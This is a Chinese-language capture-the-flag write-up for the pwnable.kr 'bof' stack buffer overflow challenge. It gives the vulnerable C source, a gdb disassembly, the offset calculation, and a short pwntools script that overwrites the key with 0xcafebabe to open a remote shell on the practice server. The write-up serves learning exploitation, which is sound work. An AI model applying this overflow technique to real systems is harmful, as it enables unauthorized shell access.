通过该题的下载链接下载到源码和编译后的程序,提示如下:
1 2 3 4 5 6 7 Nana told me that buffer overflow is one of the most common software vulnerability. Is that true? Download : http://pwnable.kr/bin/bof Download : http://pwnable.kr/bin/bof.c Running at : nc pwnable.kr 9000
题目代码如下 bof.c:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> #include <string.h> #include <stdlib.h> void func (int key) { char overflowme[32 ]; printf ("overflow me : " ); gets(overflowme); if (key == 0xcafebabe ){ system("/bin/sh" ); } else { printf ("Nah..\n" ); } } int main (int argc, char * argv[]) { func(0xdeadbeef ); return 0 ; }
是一个很简单的栈溢出漏洞,把key的值替换为0xcagebabe即可成功flag,但是第一次使用gdb+pwotools来做题时,还是对一些分析流程以及偏移的计算不太熟练,尝试了很多次。
拿到程序先用checksec来查看一下启用的保护,因为是练手程序,所以基本上所有保护都被关闭了,只开启了RELRO(只读保护),对栈利用无影响:
接下来就是调试算偏移,file加载bof到gdb,break func对存在溢出点的函数下断,run执行,成功断到func入口处,有两种算偏移的方法,如果熟悉汇编代码可以直接通过disassemble对func函数反编译,通过代码计算栈偏移即可,反编译后代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 Dump of assembler code for function func: => 0x080491f6 <+0>: endbr32 0x080491fa <+4>: push ebp 0x080491fb <+5>: mov ebp,esp 0x080491fd <+7>: push ebx 0x080491fe <+8>: sub esp,0x24 0x08049201 <+11>: call 0x8049130 <__x86.get_pc_thunk.bx> 0x08049206 <+16>: add ebx,0x2dfa 0x0804920c <+22>: sub esp,0xc 0x0804920f <+25>: lea eax,[ebx-0x1ff8] 0x08049215 <+31>: push eax 0x08049216 <+32>: call 0x8049090 <printf@plt> 0x0804921b <+37>: add esp,0x10 0x0804921e <+40>: sub esp,0xc 0x08049221 <+43>: lea eax,[ebp-0x28] 0x08049224 <+46>: push eax 0x08049225 <+47>: call 0x80490a0 <gets@plt> 0x0804922a <+52>: add esp,0x10 0x0804922d <+55>: cmp DWORD PTR [ebp+0x8],0xcafebabe 0x08049234 <+62>: jne 0x804924a <func+84> 0x08049236 <+64>: sub esp,0xc 0x08049239 <+67>: lea eax,[ebx-0x1fe9] 0x0804923f <+73>: push eax 0x08049240 <+74>: call 0x80490c0 <system@plt> 0x08049245 <+79>: add esp,0x10 0x08049248 <+82>: jmp 0x804925c <func+102> 0x0804924a <+84>: sub esp,0xc 0x0804924d <+87>: lea eax,[ebx-0x1fe1] 0x08049253 <+93>: push eax 0x08049254 <+94>: call 0x80490b0 <puts@plt> 0x08049259 <+99>: add esp,0x10 0x0804925c <+102>: nop 0x0804925d <+103>: mov ebx,DWORD PTR [ebp-0x4] 0x08049260 <+106>: leave 0x08049261 <+107>: ret End of assembler dump.
可以看出来,要覆盖的key在ebp+0x8处,gets获取的字符串存储位置从ebp-0x28处开始,也就是偏移为0x30
也可以通过对gets前下断,c运行到断点处,n继续运行键入AAAA作为标记然后查看内存来算出偏移。
使用pwntool进行远程漏洞利用
1 2 3 4 5 6 from pwn import * if __name__ == "__main__" : c = remote("pwnable.kr" ,9000 ) c.sendline(bytes ("A" ,'latin-1' )*0x30 +p32(0xcafebabe )) c.interactive()